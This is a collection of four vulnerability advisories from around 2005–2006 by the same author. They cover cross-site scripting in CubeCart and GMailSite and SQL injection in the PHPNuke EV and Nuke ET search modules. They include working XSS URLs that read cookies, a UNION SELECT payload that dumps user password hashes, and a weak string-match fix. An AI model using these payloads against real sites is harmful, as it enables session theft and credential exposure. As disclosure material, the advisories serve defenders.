CubeCart 3.0.7-pl1 index.php multiple variable cross site scripting

################################################
CubeCart 3.0.7-pl1 multiple variable Cross site scripting
Vendor url: www.cubecart.com
bug report:http://bugs.cubecart.com/?do=details&id=459
Advisore:http://lostmon.blogspot.com/2006/01/
cubecart-307-pl1-indexphp-multiple.html.
vendor notify:yes exploit avalable: yes
OSVDB ID:22471
Secunia:SA18519
BID:16259
################################################

I recomended to all vendors to look this paper..
This is the new posible impact of XSS atacks:

http://www.bindshell.net/papers/xssv.html

CubeCart contains a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate
some variables upon submission to 'index.php' scripts.
This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the trust
relationship between the browser and the server,leading to a
loss of integrity.

###############
VERSIONS
###############

CubeCart 3.0.7-pl1 vulnerable.
Other versions are posible vulnerables too

#################
Timeline
#################

Discovered: 24 dec 2005
vendor notify: 10-01-2006
Vendor response:
Solution:
Disclosure: 10-01-2006
Public disclosure:16-01-2006

###############
Examples:
###############


http://victim]/cc3/cart.php?act=reg&redir=L3NpdGUvZGVt
by9jYzMvaW5kZXgucGhwP3NlYXJjaFN0cj0lMjIlM0UlM0NzY3JpcH
QlM0VhbGVydCUyOCUyOSUzQyUyRnNjcmlwdCUzRSZhbXA7YWN0PXZpZ
XdDYXQmYW1wO1N1Ym1pdD1Hbw===%3D%22%3E%3Cscript
%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://[victim]/cc3/cart.php?act=reg&redir==%3D%22%3E%3Cscript
%3Ealert%28document.cookie%29%3C%2Fscript%3E


http://[victim]cc3/index.php?searchStr=%3D%22%3E%3Cscript
%3Ealert%28document.cookie%29%3C%2Fscript%3E&act=viewCat
&Submit=Go

http://[victim]cc3/index.php?act=login&redir=L3NpdG
UvZGVtby9jYzMvaW5kZXgucGhwP2FjdD12aWV3RG9jJmFtcDtkb
2NJZD0x=%3D%22%3E%3Cscript
%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://victim]/cc3/index.php?act=viewProd&productId=1"><script>
alert(document.cookie)</script>

http://victim]/cc3/index.php?act=viewDoc&docId=3"><script>
alert(document.cookie)</script>

http://victim]/cc3/index.php?act=viewProd"><script>
alert(document.cookie)</script>

http://victim]/cc3/index.php?act=viewCat&catId=1"><script>
alert(document.cookie)</script>

http://victim]/cc3/index.php?act=viewCat&catId=saleItems"><script>
alert(document.cookie)</script>

http://victim]/cc3/index.php?searchStr=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&act=viewCat

http://victim]/cc3/index.php?act=viewDoc&docId=1"><script>
alert(document.cookie)</script>

#################
User field XSS
#################
Go to http://victim]/cc3/index.php?act=login
and inser in the username field this: "><script>
alert(document.cookie)</script>

#############
SOLUTION
#############

no solution was available at this time

currently i found a posible fix :

see
http://lostmon.blogspot.com/2006/01/
manual-fix-for-cross-site-scripting.html

or

http://bugs.cubecart.com/?do=details&id=459


##################### €nd ########################

Thnx to estrella to be my ligth
Thnx to all manglers of http://www.osvdb.org

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....

PHPNuke EV 7.7 'search' module 'query' variable SQL injection

###############################################
PHPNuke EV 7.7 'search' module 'query' variable SQL injection
Vendor url: http://nukevolution.com/
exploit available:yes vendor notify:yes
advisore:http://lostmon.blogspot.com/2006/01/
phpnuke-ev-77-search-module-query.html
OSVDB ID:22316Related OSVDB:21002and:20866
BID:16186
Secunia:SA18394Related Secunia:SA17638 andSA17543
################################################

PHPNuke EV 7.7 have a flaw which can be exploited by malicious
people to conduct SQL injection attacks.

Input passed to the "query" parameter when performing a search isn't
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.

#################
versions:
################

PHPNuke EV 7.7 -R1

posible prior versions are afected.

##################
solution:
###################

No solution at this time!!!

A posible fix:

Open file modules/Search/index.php and after this code:
------------------------------------
require_once("mainfile.php");
$instory = '';
$module_name = basename(dirname(__FILE__));
get_lang($module_name);
----------------------------------------------

you can add this other :

------------------------------------

if(eregi("UNION SELECT",$query) || eregi("UNION%20SELECT",$query)){
die();
}
----------------------------------------------
this is a "simple fix " only detect UNION SELECT comand and die
if this is in the query variable... you can write the same code
for UNION ALL SELECT or other varians of xploit


####################
Timeline
####################

discovered:21-11-2005
vendor notify:29-12-2005 (forums)
vendor response:-------
vendor fix:-----
disclosure:09-01-2006

###################
example:
###################

go to
http://[Victim]/modules.php?name=Search

and write in the search box this proof

s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*

all users hashes are available to view..

#################### €nd ########################

Thnx to estrella to be my ligth


--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....

GMailSite variable Cross-Site Scripting and script injection

#######################################################
GMailSite variable Cross-Site Scripting and script injection
Vendor Url:http://www.gmailsite.com/
vendor specific entry:http://foros.ojobuscador.com/tema1936.html
Advisore:http://lostmon.blogspot.com/2005/12/
gmailsite-variable-cross-site.html
vendor notify:yes Exploit available:yes
OSVDB ID:22083,22095
Secunia:SA18155
BID:16081
########################################################

GMailSite is script that allows that you use your
account of mail of GMail to create a page in which
all the attached archives of your messages will be
published that esten kept under some label in your
account from mail.

GMailSite contains a flaw that allows a remote
Cross-Site Scripting attack.This flaw exists because
the application does not validate 'lng' variable upon
submission to index.php script.This could allow a user
to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust
relationship between the browser and the server,
leading to a loss of integrity.

Wen we "inject" the html or javascript code in the 'lng'
variable , this code is write in the coockie and it is
execute every time wen we click on a link in the GMailSite
for stop this code only need to click in other language.
This Flaw Is a posible script insercion,and a posible
local file inclusion.

#################
versions afected
#################

GMailSite

GmailSite 1.0.4 -
GmailSite 1.0.3 -
GmailSite 1.0.2 -
GmailSite 1.0.1 -
GmailSite 1.0 -

GFHost

GFHost 0.4.2
GFHost 0.4.1
GFHost 0.4
GFHost 0.3
GFHost 0.2
GFHost 0.1.1

#################
Solution
#################

No solution at this time !!!

#############
Timeline
#############

Discovered: 13-11-2005
Vendor notify: 28-12-2005
Vendor response:28-12-2005
Disclosure:29-12-2005

##################
Example
##################

http://[VICTIM]/?lng=es"><script>alert(document.cookie)</script>
http://[VICTIM]/index.php?lng=es"><script>alert(document.cookie)</script>

##################### €nd ###############

Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....

Nuke ET 'search' module 'query' variable SQL injection

###############################################
Nuke ET 'search' module 'query' variable SQL injection
Vendor url: www.truzone.org
exploit available:yes vendor notify:yes
advisore:http://lostmon.blogspot.com/2005/11/
nuke-et-search-module-query-variable.html
OSVDB ID:21002
Secunia:SA17638
BID:15519
################################################

Nuke ET have a flaw which can be exploited by malicious people to
conduct SQL injection attacks.

Input passed to the "query" parameter when performing a search isn't
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.

#################
versions:
################

Nuke ET 3.2
posible prior versions are afected.

##################
solution:
###################

the vendor has release a fix

http://www.truzone.org/modules.php?name=
DescNuke&d_op=getit&lid=1557

aply the fix as fast posible

####################
Timeline
####################

discovered:21-11-2005
vendor notify:21-11-2005
vendor response:21-11-2005
vendor fix:21.11.2005
disclosure:21-11-2005

###################
example:
###################

go to
http://[Victim]/modules.php?name=Search

and write in the search box this proof

s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*

all users hashes are available to view..

#################### €nd ########################

Thnx to estrella to be my ligth
Thnx to Truzone
Thnx to RiXi
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....